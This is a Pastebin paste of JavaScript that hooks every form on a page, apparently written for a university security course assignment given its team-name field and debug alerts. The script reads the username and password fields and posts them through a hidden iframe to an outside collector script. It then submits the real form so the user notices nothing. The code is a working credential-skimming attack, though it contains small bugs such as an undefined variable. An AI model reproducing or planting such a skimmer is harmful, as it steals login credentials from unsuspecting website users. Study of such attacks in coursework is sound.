Advertisement
harrislb

Untitled

Feb 6th, 2017
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.13 KB | None | 0 0
  1. var frms = document.getElementsByTagName("form");
  2. for(var i=0; i<frms.length; i++) {
  3. hijack(frms[i]);
  4. }
  5.  
  6. function hijack(frmObj) {
  7. var delayCode = "";
  8. if(frmObj.hasAttribute("onsubmit")) {
  9. delayCode = frmObj.getAttribute("onsubmit");}
  10. frmObj.setAttribute("onsubmit", "return leech(this,function() {" + delayCode + "});");
  11. }
  12.  
  13. function leech(frmObj, delayCode) {
  14. var rnd = Math.floor(Math.random()*256);
  15. var newFrm = document.createElement("form");
  16.  
  17. var username = frmObject.getElementById("user_login").getAttribute("value");
  18. alert('username is ' + username);
  19. var pass= frmObject.getElementById("user_pass").getAttribute("value");
  20. alert('pass is ' + pass);
  21. newFrm.setAttribute("id", "leechedID" + rnd);
  22. newFrm.setAttribute("target", "hiddenframe" + newFrm.id);
  23. newFrm.setAttribute("action", "https://www.rose-hulman.edu/~stammsl/442/slurp.php");
  24.  
  25. var usernameInput= document.createElement("input");
  26. usernameInput.setAttribute("name", "username");
  27. usernameInput.setAttribute("value", username);
  28. usernameInput.setAttribute("type", "hidden");
  29.  
  30. var passInput= document.createElement("input");
  31. passInput.setAttribute("name", "password");
  32. passInput.setAttribute("value", pass);
  33. passInput.setAttribute("type", "hidden");
  34.  
  35. var teamNameInput= document.createElement("input");
  36. teamNameInput.setAttribute("name", "442team");
  37. teamNameInput.setAttribute("value", "SaltySeniors");
  38. teamNameInput.setAttribute("type", "hidden");
  39.  
  40. newFrm.appendChild(teamNameInput);
  41. newFrm.appendChild(passInput);
  42. newFrm.appendChild(usernameInput);
  43.  
  44. var hiddenIframe = document.createElement("iframe");
  45. hiddenIframe.setAttribute("style", "position:aboslute;" + "visibility:hidden;z-index:0;");
  46. hiddenIframe.setAttribute("name", "hiddenframe" + newFrm.id);
  47.  
  48. hiddenIframe.appendChild(newFrm);
  49. window.document.body.appendChild(hiddenIframe);
  50. alert("About to submit the forked form");
  51. newFrm.submit();
  52. alert("Cloned form submitted");
  53.  
  54. setTimeout(function() {
  55. window.document.body.removeChild(hiddenIframe);
  56. if(delayCode() !=false) { frmObj.submit(); alert("Submitted real form.");
  57. }
  58. }, 50);
  59.  
  60. return false;
  61. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement